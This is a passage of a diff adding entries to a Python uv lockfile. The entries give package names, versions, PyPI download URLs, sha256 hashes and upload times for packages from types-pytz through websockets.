"https://files.pythonhosted.org/packages/e7/c1/56ef16bf5dcd255155cc736d276efa6ae0a5c26fd685e28f0412a4013c01/types_pytz-2025.2.0.20251108-py3-none-any.whl", hash = "sha256:0f1c9792cab4eb0e46c52f8845c8f77cf1e313cb3d68bf826aa867fe4717d91c", size = 10116, upload-time = "2025-11-08T02:55:56.194Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] + +[[package]] +name = "typing-inspect" +version = "0.9.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "mypy-extensions" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/dc/74/1789779d91f1961fa9438e9a8710cdae6bd138c80d7303996933d117264a/typing_inspect-0.9.0.tar.gz", hash = "sha256:b23fc42ff6f6ef6954e4852c1fb512cdd18dbea03134f91f856a95ccc9461f78", size = 13825, upload-time = "2023-05-24T20:25:47.612Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/65/f3/107a22063bf27bdccf2024833d3445f4eea42b2e598abfbd46f6a63b6cb0/typing_inspect-0.9.0-py3-none-any.whl", hash = "sha256:9ee6fc59062311ef8547596ab6b955e1b8aa46242d854bfc78f4f6b0eff35f9f", size = 8827, upload-time = "2023-05-24T20:25:45.287Z" }, +] + +[[package]] +name = "typing-inspection" +version = "0.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" }, +] + +[[package]] +name = "tzdata" +version = "2025.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/5e/a7/c202b344c5ca7daf398f3b8a477eeb205cf3b6f32e7ec3a6bac0629ca975/tzdata-2025.3.tar.gz", hash = "sha256:de39c2ca5dc7b0344f2eba86f49d614019d29f060fc4ebc8a417896a620b56a7", size = 196772, upload-time = "2025-12-13T17:45:35.667Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c7/b0/003792df09decd6849a5e39c28b513c06e84436a54440380862b5aeff25d/tzdata-2025.3-py2.py3-none-any.whl", hash = "sha256:06a47e5700f3081aab02b2e513160914ff0694bce9947d6b76ebd6bf57cfc5d1", size = 348521, upload-time = "2025-12-13T17:45:33.889Z" }, +] + +[[package]] +name = "urllib3" +version = "2.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/53/0c/06f8b233b8fd13b9e5ee11424ef85419ba0d8ba0b3138bf360be2ff56953/urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c", size = 433602, upload-time = "2026-05-07T16:13:18.596Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", size = 131087, upload-time = "2026-05-07T16:13:17.151Z" }, +] + +[[package]] +name = "uuid-utils" +version = "0.13.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fe/8a/17b11768dcb473d3a255c02ffdd94fbd1b345c906efea0a39124dcbaed52/uuid_utils-0.13.0.tar.gz", hash = "sha256:4c17df6427a9e23a4cd7fb9ee1efb53b8abb078660b9bdb2524ca8595022dfe1", size = 21921, upload-time = "2026-01-08T15:48:10.841Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/85/b8/d40848ca22781f206c60a1885fc737d2640392bd6b5792d455525accd89c/uuid_utils-0.13.0-cp39-abi3-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:83628283e977fb212e756bc055df8fdd2f9f589a2e539ba1abe755b8ce8df7a4", size = 602130, upload-time = "2026-01-08T15:47:34.877Z" }, + { url = "https://files.pythonhosted.org/packages/40/b9/00a944b8096632ea12638181f8e294abcde3e3b8b5e29b777f809896f6ae/uuid_utils-0.13.0-cp39-abi3-macosx_10_12_x86_64.whl", hash = "sha256:c47638ed6334ab19d80f73664f153b04bbb04ab8ce4298d10da6a292d4d21c47", size = 304213, upload-time = "2026-01-08T15:47:36.807Z" }, + { url = "https://files.pythonhosted.org/packages/da/d7/07b36c33aef683b81c9afff3ec178d5eb39d325447a68c3c68a62e4abb32/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_aarch64.whl", hash = "sha256:b276b538c57733ed406948584912da422a604313c71479654848b84b9e19c9b0", size = 340624, upload-time = "2026-01-08T15:47:38.821Z" }, + { url = "https://files.pythonhosted.org/packages/7d/55/fcff2fff02a27866cb1a6614c9df2b3ace721f0a0aab2b7b8f5a7d4e4221/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_armv7l.whl", hash = "sha256:bdaf2b77e34b199cf04cde28399495fd1ed951de214a4ece1f3919b2f945bb06", size = 346705, upload-time = "2026-01-08T15:47:40.397Z" }, + { url = "https://files.pythonhosted.org/packages/41/48/67438506c2bb8bee1b4b00d7c0b3ff866401b4790849bf591d654d4ea0bc/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_i686.whl", hash = "sha256:eb2f0baf81e82f9769a7684022dca8f3bf801ca1574a3e94df1876e9d6f9271e", size = 366023, upload-time = "2026-01-08T15:47:42.662Z" }, + { url = "https://files.pythonhosted.org/packages/8b/d7/2d91ce17f62fd764d593430de296b70843cc25229c772453f7261de9e6a8/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_ppc64le.whl", hash = "sha256:6be6c4d11275f5cc402a4fdba6c2b1ce45fd3d99bb78716cd1cc2cbf6802b2ce", size = 471149, upload-time = "2026-01-08T15:47:44.963Z" }, + { url = "https://files.pythonhosted.org/packages/2e/9a/aa0756186073ba84daf5704c150d41ede10eb3185d510e02532e2071550e/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_x86_64.whl", hash = "sha256:77621cf6ceca7f42173a642a01c01c216f9eaec3b7b65d093d2d6a433ca0a83d", size = 342130, upload-time = "2026-01-08T15:47:46.331Z" }, + { url = "https://files.pythonhosted.org/packages/74/b4/3191789f4dc3bed59d79cec90559821756297a25d7dc34d1bf7781577a75/uuid_utils-0.13.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:9a5a9eb06c2bb86dd876cd7b2fe927fc8543d14c90d971581db6ffda4a02526f", size = 524128, upload-time = "2026-01-08T15:47:47.628Z" }, + { url = "https://files.pythonhosted.org/packages/b2/30/29839210a8fff9fc219bfa7c8d8cd115324e92618cba0cda090d54d3d321/uuid_utils-0.13.0-cp39-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:775347c6110fb71360df17aac74132d8d47c1dbe71233ac98197fc872a791fd2", size = 615872, upload-time = "2026-01-08T15:47:50.61Z" }, + { url = "https://files.pythonhosted.org/packages/99/ed/15000c96a8bd8f5fd8efd622109bf52549ea0b366f8ce71c45580fa55878/uuid_utils-0.13.0-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:cf95f6370ad1a0910ee7b5ad5228fd19c4ae32fe3627389006adaf519408c41e", size = 581023, upload-time = "2026-01-08T15:47:52.776Z" }, + { url = "https://files.pythonhosted.org/packages/67/c8/3f809fa2dc2ca4bd331c792a3c7d3e45ae2b709d85847a12b8b27d1d5f19/uuid_utils-0.13.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:5a88e23e0b2f4203fefe2ccbca5736ee06fcad10e61b5e7e39c8d7904bc13300", size = 546715, upload-time = "2026-01-08T15:47:54.415Z" }, + { url = "https://files.pythonhosted.org/packages/f5/80/4f7c7efd734d1494397c781bd3d421688e9c187ae836e3174625b1ddf8b0/uuid_utils-0.13.0-cp39-abi3-win32.whl", hash = "sha256:3e4f2cc54e6a99c0551158100ead528479ad2596847478cbad624977064ffce3", size = 177650, upload-time = "2026-01-08T15:47:55.679Z" }, + { url = "https://files.pythonhosted.org/packages/6c/94/d05ab68622e66ad787a241dfe5ccc649b3af09f30eae977b9ee8f7046aaa/uuid_utils-0.13.0-cp39-abi3-win_amd64.whl", hash = "sha256:046cb2756e1597b3de22d24851b769913e192135830486a0a70bf41327f0360c", size = 183211, upload-time = "2026-01-08T15:47:57.604Z" }, + { url = "https://files.pythonhosted.org/packages/69/37/674b3ce25cd715b831ea8ebbd828b74c40159f04c95d1bb963b2c876fe79/uuid_utils-0.13.0-cp39-abi3-win_arm64.whl", hash = "sha256:5447a680df6ef8a5a353976aaf4c97cc3a3a22b1ee13671c44227b921e3ae2a9", size = 183518, upload-time = "2026-01-08T15:47:59.148Z" }, + { url = "https://files.pythonhosted.org/packages/99/fa/1d92de9538463859228e68db679b766fd300770c9a2db849dcba0c0c5a57/uuid_utils-0.13.0-pp311-pypy311_pp73-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:e5182e2d95f38e65f2e5bce90648ef56987443da13e145afcd747e584f9bc69c", size = 587641, upload-time = "2026-01-08T15:48:00.433Z" }, + { url = "https://files.pythonhosted.org/packages/ca/07/6bd9e6f5367e38c2ee7178ad882d2bd1b0d17c5393974b09ab027a215eba/uuid_utils-0.13.0-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:e3909a8a1fbd79d7c8bdc874eeb83e23ccb7a7cb0aa821a49596cc96c0cce84b", size = 298273, upload-time = "2026-01-08T15:48:02.063Z" }, + { url = "https://files.pythonhosted.org/packages/dc/14/7061b868a8a6799c8df83768a23f313d4e22075069f01ee3c28fa82aa2c6/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_aarch64.whl", hash = "sha256:5dc4c9f749bd2511b8dcbf0891e658d7d86880022963db050722ad7b502b5e22", size = 333618, upload-time = "2026-01-08T15:48:03.503Z" }, + { url = "https://files.pythonhosted.org/packages/bc/f1/f48c3c9c343c9071ade5f355403e344d817412d9cf379a2d04b181282e74/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_armv7l.whl", hash = "sha256:516adf07f5b2cdb88d50f489c702b5f1a75ae8b2639bfd254f4192d5f7ee261f", size = 339104, upload-time = "2026-01-08T15:48:05.02Z" }, + { url = "https://files.pythonhosted.org/packages/47/22/8e3142b4baffee77ce533fe956446d3699ec42f1d5252911208cbef4501e/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_i686.whl", hash = "sha256:aeee3bd89e8de6184a3ab778ce19f5ce9ad32849d1be549516e0ddb257562d8d", size = 359503, upload-time = "2026-01-08T15:48:06.347Z" }, + { url = "https://files.pythonhosted.org/packages/bd/1a/756f1f9e31b15019c87cd2becb1c596351c50967cd143443da38df8818d1/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_ppc64le.whl", hash = "sha256:97985256c2e59b7caa51f5c8515f64d777328562a9c900ec65e9d627baf72737", size = 467480, upload-time = "2026-01-08T15:48:07.681Z" }, + { url = "https://files.pythonhosted.org/packages/0a/20/a6929e98d9a461ca49e96194a82a1cc3fd5420f3a2f53cbb34fca438549e/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_x86_64.whl", hash = "sha256:b7ccaa20e24c5f60f41a69ef571ed820737f9b0ade4cbeef56aaa8f80f5aa475", size = 333610, upload-time = "2026-01-08T15:48:09.375Z" }, +] + +[[package]] +name = "watchdog" +version = "6.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/db/7d/7f3d619e951c88ed75c6037b246ddcf2d322812ee8ea189be89511721d54/watchdog-6.0.0.tar.gz", hash = "sha256:9ddf7c82fda3ae8e24decda1338ede66e1c99883db93711d8fb941eaa2d8c282", size = 131220, upload-time = "2024-11-01T14:07:13.037Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/56/90994d789c61df619bfc5ce2ecdabd5eeff564e1eb47512bd01b5e019569/watchdog-6.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1cdb490583ebd691c012b3d6dae011000fe42edb7a82ece80965b42abd61f26", size = 96390, upload-time = "2024-11-01T14:06:24.793Z" }, + { url = "https://files.pythonhosted.org/packages/55/46/9a67ee697342ddf3c6daa97e3a587a56d6c4052f881ed926a849fcf7371c/watchdog-6.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:bc64ab3bdb6a04d69d4023b29422170b74681784ffb9463ed4870cf2f3e66112", size = 88389, upload-time = "2024-11-01T14:06:27.112Z" }, + { url = "https://files.pythonhosted.org/packages/44/65/91b0985747c52064d8701e1075eb96f8c40a79df889e59a399453adfb882/watchdog-6.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c897ac1b55c5a1461e16dae288d22bb2e412ba9807df8397a635d88f671d36c3", size = 89020, upload-time = "2024-11-01T14:06:29.876Z" }, + { url = "https://files.pythonhosted.org/packages/e0/24/d9be5cd6642a6aa68352ded4b4b10fb0d7889cb7f45814fb92cecd35f101/watchdog-6.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6eb11feb5a0d452ee41f824e271ca311a09e250441c262ca2fd7ebcf2461a06c", size = 96393, upload-time = "2024-11-01T14:06:31.756Z" }, + { url = "https://files.pythonhosted.org/packages/63/7a/6013b0d8dbc56adca7fdd4f0beed381c59f6752341b12fa0886fa7afc78b/watchdog-6.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ef810fbf7b781a5a593894e4f439773830bdecb885e6880d957d5b9382a960d2", size = 88392, upload-time = "2024-11-01T14:06:32.99Z" }, + { url = "https://files.pythonhosted.org/packages/d1/40/b75381494851556de56281e053700e46bff5b37bf4c7267e858640af5a7f/watchdog-6.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:afd0fe1b2270917c5e23c2a65ce50c2a4abb63daafb0d419fde368e272a76b7c", size = 89019, upload-time = "2024-11-01T14:06:34.963Z" }, + { url = "https://files.pythonhosted.org/packages/39/ea/3930d07dafc9e286ed356a679aa02d777c06e9bfd1164fa7c19c288a5483/watchdog-6.0.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:bdd4e6f14b8b18c334febb9c4425a878a2ac20efd1e0b231978e7b150f92a948", size = 96471, upload-time = "2024-11-01T14:06:37.745Z" }, + { url = "https://files.pythonhosted.org/packages/12/87/48361531f70b1f87928b045df868a9fd4e253d9ae087fa4cf3f7113be363/watchdog-6.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c7c15dda13c4eb00d6fb6fc508b3c0ed88b9d5d374056b239c4ad1611125c860", size = 88449, upload-time = "2024-11-01T14:06:39.748Z" }, + { url = "https://files.pythonhosted.org/packages/5b/7e/8f322f5e600812e6f9a31b75d242631068ca8f4ef0582dd3ae6e72daecc8/watchdog-6.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6f10cb2d5902447c7d0da897e2c6768bca89174d0c6e1e30abec5421af97a5b0", size = 89054, upload-time = "2024-11-01T14:06:41.009Z" }, + { url = "https://files.pythonhosted.org/packages/68/98/b0345cabdce2041a01293ba483333582891a3bd5769b08eceb0d406056ef/watchdog-6.0.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:490ab2ef84f11129844c23fb14ecf30ef3d8a6abafd3754a6f75ca1e6654136c", size = 96480, upload-time = "2024-11-01T14:06:42.952Z" }, + { url = "https://files.pythonhosted.org/packages/85/83/cdf13902c626b28eedef7ec4f10745c52aad8a8fe7eb04ed7b1f111ca20e/watchdog-6.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:76aae96b00ae814b181bb25b1b98076d5fc84e8a53cd8885a318b42b6d3a5134", size = 88451, upload-time = "2024-11-01T14:06:45.084Z" }, + { url = "https://files.pythonhosted.org/packages/fe/c4/225c87bae08c8b9ec99030cd48ae9c4eca050a59bf5c2255853e18c87b50/watchdog-6.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a175f755fc2279e0b7312c0035d52e27211a5bc39719dd529625b1930917345b", size = 89057, upload-time = "2024-11-01T14:06:47.324Z" }, + { url = "https://files.pythonhosted.org/packages/30/ad/d17b5d42e28a8b91f8ed01cb949da092827afb9995d4559fd448d0472763/watchdog-6.0.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c7ac31a19f4545dd92fc25d200694098f42c9a8e391bc00bdd362c5736dbf881", size = 87902, upload-time = "2024-11-01T14:06:53.119Z" }, + { url = "https://files.pythonhosted.org/packages/5c/ca/c3649991d140ff6ab67bfc85ab42b165ead119c9e12211e08089d763ece5/watchdog-6.0.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:9513f27a1a582d9808cf21a07dae516f0fab1cf2d7683a742c498b93eedabb11", size = 88380, upload-time = "2024-11-01T14:06:55.19Z" }, + { url = "https://files.pythonhosted.org/packages/a9/c7/ca4bf3e518cb57a686b2feb4f55a1892fd9a3dd13f470fca14e00f80ea36/watchdog-6.0.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:7607498efa04a3542ae3e05e64da8202e58159aa1fa4acddf7678d34a35d4f13", size = 79079, upload-time = "2024-11-01T14:06:59.472Z" }, + { url = "https://files.pythonhosted.org/packages/5c/51/d46dc9332f9a647593c947b4b88e2381c8dfc0942d15b8edc0310fa4abb1/watchdog-6.0.0-py3-none-manylinux2014_armv7l.whl", hash = "sha256:9041567ee8953024c83343288ccc458fd0a2d811d6a0fd68c4c22609e3490379", size = 79078, upload-time = "2024-11-01T14:07:01.431Z" }, + { url = "https://files.pythonhosted.org/packages/d4/57/04edbf5e169cd318d5f07b4766fee38e825d64b6913ca157ca32d1a42267/watchdog-6.0.0-py3-none-manylinux2014_i686.whl", hash = "sha256:82dc3e3143c7e38ec49d61af98d6558288c415eac98486a5c581726e0737c00e", size = 79076, upload-time = "2024-11-01T14:07:02.568Z" }, + { url = "https://files.pythonhosted.org/packages/ab/cc/da8422b300e13cb187d2203f20b9253e91058aaf7db65b74142013478e66/watchdog-6.0.0-py3-none-manylinux2014_ppc64.whl", hash = "sha256:212ac9b8bf1161dc91bd09c048048a95ca3a4c4f5e5d4a7d1b1a7d5752a7f96f", size = 79077, upload-time = "2024-11-01T14:07:03.893Z" }, + { url = "https://files.pythonhosted.org/packages/2c/3b/b8964e04ae1a025c44ba8e4291f86e97fac443bca31de8bd98d3263d2fcf/watchdog-6.0.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:e3df4cbb9a450c6d49318f6d14f4bbc80d763fa587ba46ec86f99f9e6876bb26", size = 79078, upload-time = "2024-11-01T14:07:05.189Z" }, + { url = "https://files.pythonhosted.org/packages/62/ae/a696eb424bedff7407801c257d4b1afda455fe40821a2be430e173660e81/watchdog-6.0.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:2cce7cfc2008eb51feb6aab51251fd79b85d9894e98ba847408f662b3395ca3c", size = 79077, upload-time = "2024-11-01T14:07:06.376Z" }, + { url = "https://files.pythonhosted.org/packages/b5/e8/dbf020b4d98251a9860752a094d09a65e1b436ad181faf929983f697048f/watchdog-6.0.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:20ffe5b202af80ab4266dcd3e91aae72bf2da48c0d33bdb15c66658e685e94e2", size = 79078, upload-time = "2024-11-01T14:07:07.547Z" }, + { url = "https://files.pythonhosted.org/packages/07/f6/d0e5b343768e8bcb4cda79f0f2f55051bf26177ecd5651f84c07567461cf/watchdog-6.0.0-py3-none-win32.whl", hash = "sha256:07df1fdd701c5d4c8e55ef6cf55b8f0120fe1aef7ef39a1c6fc6bc2e606d517a", size = 79065, upload-time = "2024-11-01T14:07:09.525Z" }, + { url = "https://files.pythonhosted.org/packages/db/d9/c495884c6e548fce18a8f40568ff120bc3a4b7b99813081c8ac0c936fa64/watchdog-6.0.0-py3-none-win_amd64.whl", hash = "sha256:cbafb470cf848d93b5d013e2ecb245d4aa1c8fd0504e863ccefa32445359d680", size = 79070, upload-time = "2024-11-01T14:07:10.686Z" }, + { url = "https://files.pythonhosted.org/packages/33/e8/e40370e6d74ddba47f002a32919d91310d6074130fe4e17dabcafc15cbf1/watchdog-6.0.0-py3-none-win_ia64.whl", hash = "sha256:a1914259fa9e1454315171103c6a30961236f508b9b623eae470268bbcc6a22f", size = 79067, upload-time = "2024-11-01T14:07:11.845Z" }, +] + +[[package]] +name = "websockets" +version = "16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/04/24/4b2031d72e840ce4c1ccb255f693b15c334757fc50023e4db9537080b8c4/websockets-16.0.tar.gz", hash = "sha256:5f6261a5e56e8d5c42a4497b364ea24d94d9563e8fbd44e78ac40879c60179b5", size = 179346, upload-time = "2026-01-10T09:23:47.181Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/20/74/221f58decd852f4b59cc3354cccaf87e8ef695fede361d03dc9a7396573b/websockets-16.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:04cdd5d2d1dacbad0a7bf36ccbcd3ccd5a30ee188f2560b7a62a30d14107b31a", size = 177343, upload-time = "2026-01-10T09:22:21.28Z" }, + { url = "https://files.pythonhosted.org/packages/19/0f/22ef6107ee52ab7f0b710d55d36f5a5d3ef19e8a205541a6d7ffa7994e5a/websockets-16.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:8ff32bb86522a9e5e31439a58addbb0166f0204d64066fb955265c4e214160f0", size = 175021, upload-time = "2026-01-10T09:22:22.696Z" }, + { url = "https://files.pythonhosted.org/packages/10/40/904a4cb30d9b61c0e278899bf36342e9b0208eb3c470324a9ecbaac2a30f/websockets-16.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:583b7c42688636f930688d712885cf1531326ee05effd982028212ccc13e5957", size = 175320, upload-time = "2026-01-10T09:22:23.94Z" }, + { url = "https://files.pythonhosted.org/packages/9d/2f/4b3ca7e106bc608744b1cdae041e005e446124bebb037b18799c2d356864/websockets-16.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7d837379b647c0c4c2355c2499723f82f1635fd2c26510e1f587d89bc2199e72", size = 183815, upload-time = "2026-01-10T09:22:25.469Z" }, + { url = "https://files.pythonhosted.org/packages/86/26/d40eaa2a46d4302becec8d15b0fc5e45bdde05191e7628405a19cf491ccd/websockets-16.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:df57afc692e517a85e65b72e165356ed1df12386ecb879ad5693be08fac65dde", size = 185054, upload-time = "2026-01-10T09:22:27.101Z" }, + { url = "https://files.pythonhosted.org/packages/b0/ba/6500a0efc94f7373ee8fefa8c271acdfd4dca8bd49a90d4be7ccabfc397e/websockets-16.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:2b9f1e0d69bc60a4a87349d50c09a037a2607918746f07de04df9e43252c77a3", size = 184565, upload-time = "2026-01-10T09:22:28.293Z" }, + { url = "https://files.pythonhosted.org/packages/04/b4/96bf2cee7c8d8102389374a2616200574f5f01128d1082f44102140344cc/websockets-16.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:335c23addf3d5e6a8633f9f8eda77efad001671e80b95c491dd0924587ece0b3", size = 183848, upload-time = "2026-01-10T09:22:30.394Z" }, + { url = "https://files.pythonhosted.org/packages/02/8e/81f40fb00fd125357814e8c3025738fc4ffc3da4b6b4a4472a82ba304b41/websockets-16.0-cp310-cp310-win32.whl", hash = "sha256:37b31c1623c6605e4c00d466c9d633f9b812ea430c11c8a278774a1fde1acfa9", size = 178249, upload-time = "2026-01-10T09:22:32.083Z" }, + { url = "https://files.pythonhosted.org/packages/b4/5f/7e40efe8df57db9b91c88a43690ac66f7b7aa73a11aa6a66b927e44f26fa/websockets-16.0-cp310-cp310-win_amd64.whl", hash = "sha256:8e1dab317b6e77424356e11e99a432b7cb2f3ec8c5ab4dabbcee6add48f72b35", size = 178685, upload-time = "2026-01-10T09:22:33.345Z" }, + { url = "https://files.pythonhosted.org/packages/f2/db/de907251b4ff46ae804ad0409809504153b3f30984daf82a1d84a9875830/websockets-16.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:31a52addea25187bde0797a97d6fc3d2f92b6f72a9370792d65a6e84615ac8a8", size = 177340, upload-time = "2026-01-10T09:22:34.539Z" }, + { url = "https://files.pythonhosted.org/packages/f3/fa/abe89019d8d8815c8781e90d697dec52523fb8ebe308bf11664e8de1877e/websockets-16.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:417b28978cdccab24f46400586d128366313e8a96312e4b9362a4af504f3bbad", size = 175022, upload-time = "2026-01-10T09:22:36.332Z" }, + { url = "https://files.pythonhosted.org/packages/58/5d/88ea17ed1ded2079358b40d31d48abe90a73c9e5819dbcde1606e991e2ad/websockets-16.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:af80d74d4edfa3cb9ed973a0a5ba2b2a549371f8a741e0800cb07becdd20f23d", size = 175319, upload-time = "2026-01-10T09:22:37.602Z" }, + { url = "https://files.pythonhosted.org/packages/d2/ae/0ee92b33087a33632f37a635e11e1d99d429d3d323329675a6022312aac2/websockets-16.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:08d7af67b64d29823fed316505a89b86705f2b7981c07848fb5e3ea3020c1abe", size = 184631, upload-time = "2026-01-10T09:22:38.789Z" }, + { url = "https://files.pythonhosted.org/packages/c8/c5/27178df583b6c5b31b29f526ba2da5e2f864ecc79c99dae630a85d68c304/websockets-16.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7be95cfb0a4dae143eaed2bcba8ac23f4892d8971311f1b06f3c6b78952ee70b", size = 185870, upload-time = "2026-01-10T09:22:39.893Z" }, + { url = "https://files.pythonhosted.org/packages/87/05/536652aa84ddc1c018dbb7e2c4cbcd0db884580bf8e95aece7593fde526f/websockets-16.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d6297ce39ce5c2e6feb13c1a996a2ded3b6832155fcfc920265c76f24c7cceb5", size = 185361, upload-time = "2026-01-10T09:22:41.016Z" }, + { url = "https://files.pythonhosted.org/packages/6d/e2/d5332c90da12b1e01f06fb1b85c50cfc489783076547415bf9f0a659ec19/websockets-16.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1c1b30e4f497b0b354057f3467f56244c603a79c0d1dafce1d16c283c25f6e64", size = 184615, upload-time = "2026-01-10T09:22:42.442Z" }, + { url = "https://files.pythonhosted.org/packages/77/fb/d3f9576691cae9253b51555f841bc6600bf0a983a461c79500ace5a5b364/websockets-16.0-cp311-cp311-win32.whl", hash = "sha256:5f451484aeb5cafee1ccf789b1b66f535409d038c56966d6101740c1614b86c6", size = 178246, upload-time = "2026-01-10T09:22:43.654Z" }, + { url = "https://files.pythonhosted.org/packages/54/67/eaff76b3dbaf18dcddabc3b8c1dba50b483761cccff67793897945b37408/websockets-16.0-cp311-cp311-win_amd64.whl", hash = "sha256:8d7f0659570eefb578dacde98e24fb60af35350193e4f56e11190787bee77dac", size = 178684, upload-time = "2026-01-10T09:22:44.941Z" }, + { url = "https://files.pythonhosted.org/packages/84/7b/bac442e6b96c9d25092695578dda82403c77936104b5682307bd4deb1ad4/websockets-16.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:71c989cbf3254fbd5e84d3bff31e4da39c43f884e64f2551d14bb3c186230f00", size = 177365, upload-time = "2026-01-10T09:22:46.787Z" }, + { url = "https://files.pythonhosted.org/packages/b0/fe/136ccece61bd690d9c1f715baaeefd953bb2360134de73519d5df19d29ca/websockets-16.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:8b6e209ffee39ff1b6d0fa7bfef6de950c60dfb91b8fcead17da4ee539121a79", size = 175038, upload-time = "2026-01-10T09:22:47.999Z" }, + { url = "https://files.pythonhosted.org/packages/40/1e/9771421ac2286eaab95b8575b0cb701ae3663abf8b5e1f64f1fd90d0a673/websockets-16.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:86890e837d61574c92a97496d590968b23c2ef0aeb8a9bc9421d174cd378ae39", size = 175328, upload-time = "2026-01-10T09:22:49.809Z" }, + 